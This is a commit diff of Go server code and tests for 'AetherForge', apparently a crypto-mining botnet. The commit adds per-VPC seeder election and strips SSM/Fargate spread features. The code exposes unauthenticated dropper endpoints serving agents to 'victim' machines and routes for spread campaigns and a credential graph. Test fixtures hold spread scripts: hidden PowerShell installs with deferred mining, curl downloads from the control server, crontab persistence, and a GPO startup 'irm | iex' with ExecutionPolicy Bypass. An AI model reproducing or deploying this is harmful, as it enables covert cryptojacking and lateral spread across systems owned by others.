Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
AetherForge
2026-06-07 10:06:42 -07:00
parent 0795c511ab
commit 990105f7bf
49 changed files with 570 additions and 879 deletions

View File

@@ -0,0 +1,92 @@
package api
import (
"strings"
"crypto-miner-server/internal/models"
)
type CloudInstanceMeta struct {
VpcID string `json:"vpc_id,omitempty"`
SubnetID string `json:"subnet_id,omitempty"`
Region string `json:"region,omitempty"`
}
func (m CloudInstanceMeta) present() bool {
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
}
func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
return CloudInstanceMeta{
VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
}
}
func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
meta = normalizeCloudInstanceMeta(meta)
if !meta.present() {
return
}
h.mu.Lock()
tel, ok := h.agentLiveTelemetry[agentID]
if !ok {
tel = map[string]interface{}{}
h.agentLiveTelemetry[agentID] = tel
}
tel["cloud_instance_meta"] = map[string]interface{}{
"vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
}
h.mu.Unlock()
}
func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
meta := CloudInstanceMeta{}
if v, ok := raw["vpc_id"].(string); ok {
meta.VpcID = v
}
if v, ok := raw["subnet_id"].(string); ok {
meta.SubnetID = v
}
if v, ok := raw["region"].(string); ok {
meta.Region = v
}
return normalizeCloudInstanceMeta(meta)
}
}
return CloudInstanceMeta{}
}
func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
if strings.TrimSpace(meta.VpcID) != "" {
return strings.TrimSpace(meta.VpcID)
}
return subnetPrefix24(clientIP)
}
func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
meta := h.agentCloudMetaLocked(agentID)
if meta.VpcID != "" {
return meta.VpcID == scope
}
return subnetPrefix24(h.agentIPLocked(agentID)) == scope
}
func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
if agent == nil {
return
}
meta := h.agentCloudMetaLocked(agentID)
if !meta.present() {
return
}
agent.CloudVpcID = meta.VpcID
agent.CloudSubnetID = meta.SubnetID
agent.CloudRegion = meta.Region
if role != "seeder" || primaryPick == "" {
return
}
primary := primaryPick == agentID
agent.VPCPrimarySeeder = &primary
}

View File

@@ -1,7 +1,6 @@
package api
package api
import (
"context"
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
@@ -14,7 +13,6 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
SSMDocument string `json:"ssm_document,omitempty"`
}
type deployPlanRequest struct {
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
awsSwarmSettings func() erasure.AWSSwarmSettings
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
h.awsSwarmSettings = settings
h.awsShardStore = store
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
case "ssm_document":
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.SSMDocument = bundle.Document
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
hashes := erasure.ShardContentHashes(shards)
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
cfg := h.awsSwarmSettings()
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
if err != nil {
return err
}
if result != nil {
for i := range plan.Shards {
if i < len(result.EdgeURLs) {
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
}
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
}
}
}
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if body.SpreadRouteHint.SwarmMagnet == "" {
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
}
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
return nil
}
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}

View File

@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -27,7 +27,7 @@ import (
)
// authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
// Key: SHA-256(user+":"+password) hex value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
b.WriteString("\n????????????????????????????????????????????????????\n")
b.WriteString("? AetherForge ? Dashboard Login ?\n")
b.WriteString("? ?\n")
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString(" AetherForge Dashboard Login \n")
b.WriteString(" \n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
b.WriteString("? ?\n")
fmt.Fprintf(&b, " Username : %-34s\n", user)
fmt.Fprintf(&b, " Password : %-34s\n", pass)
b.WriteString(" \n")
}
b.WriteString("? Also saved in data/login-credentials.json ?\n")
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
b.WriteString("????????????????????????????????????????????????????\n")
b.WriteString(" Also saved in data/login-credentials.json \n")
b.WriteString(" Change passwords in Calibrate Users. \n")
b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that ? only bare browser navigations without these headers should.
// must not trigger that only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list ?
// NOTE: build download/artifact routes are intentionally NOT in this list
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected ? the server auto-
// A missing or empty fleet secret is always rejected the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return
}
// Fast path ? skip bcrypt if this credential pair was recently validated.
// Fast path skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Credential verified ? cache it for the next few minutes.
// Credential verified cache it for the next few minutes.
authCacheSet(user, pass)
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false,
}))
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
// REST API auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
if erasureSwarmHandler != nil {
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
}
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
// Fleet secret rotation generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup ? authenticated full backup ZIP (config + DB + users)
// Deck backup authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer ? on-demand WireGuard chain sessions
// Path Tracer on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
// Agent autonomy REST forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware ? listed here for chi routing)
// Public builds (also bypass auth in middleware listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
}
if spreadHandler != nil {
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
}
})
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
// One-liner remote install endpoints (unauthenticated URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
// SUPP Seek agent download endpoints serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
// - windows ? crypto-miner-agent.exe
// - mac/linux ? crypto-miner-agent (no extension)
// - windows crypto-miner-agent.exe
// - mac/linux crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -28,10 +28,6 @@ type ServerPolicy struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
FargateBurstCampaign bool
FargateBurstTTLHours int
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.

View File

@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
}
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
lane.Template = "gpo"
case "linux_lotl":
lane.Template = "linux-lotl"
case "ssm_document":
lane.Template = "ssm-document"
}
}
out[name] = lane

View File

@@ -1,4 +1,4 @@
package api
package api
import (
"encoding/json"
@@ -12,60 +12,17 @@ import (
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
}
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
if h != nil {
h.erasureShards = store
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {

View File

@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
t.Fatal(err)
}
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0o755); err != nil {
t.Fatal(err)
}
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
t.Fatal(err)
}
ssmDir := filepath.Join(root, "templates", "spread", "ssm")
_ = os.MkdirAll(ssmDir, 0o755)
_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
}
func TestDeployPlanSSMDocumentLane(t *testing.T) {
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
cases := map[string]struct {
subdir string
zip string
}{
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
}
for tpl, want := range cases {
subdir, zip, err := spreadTemplatePaths(tpl)
if err != nil {
t.Fatalf("%q: %v", tpl, err)
}
if subdir != want.subdir || zip != want.zip {
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
}
}
_, _, err := spreadTemplatePaths("bogus-lane")
if err == nil || !strings.Contains(err.Error(), "unknown template") {
t.Fatalf("err=%v", err)
}
}
func TestDeployPlanWinRMLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
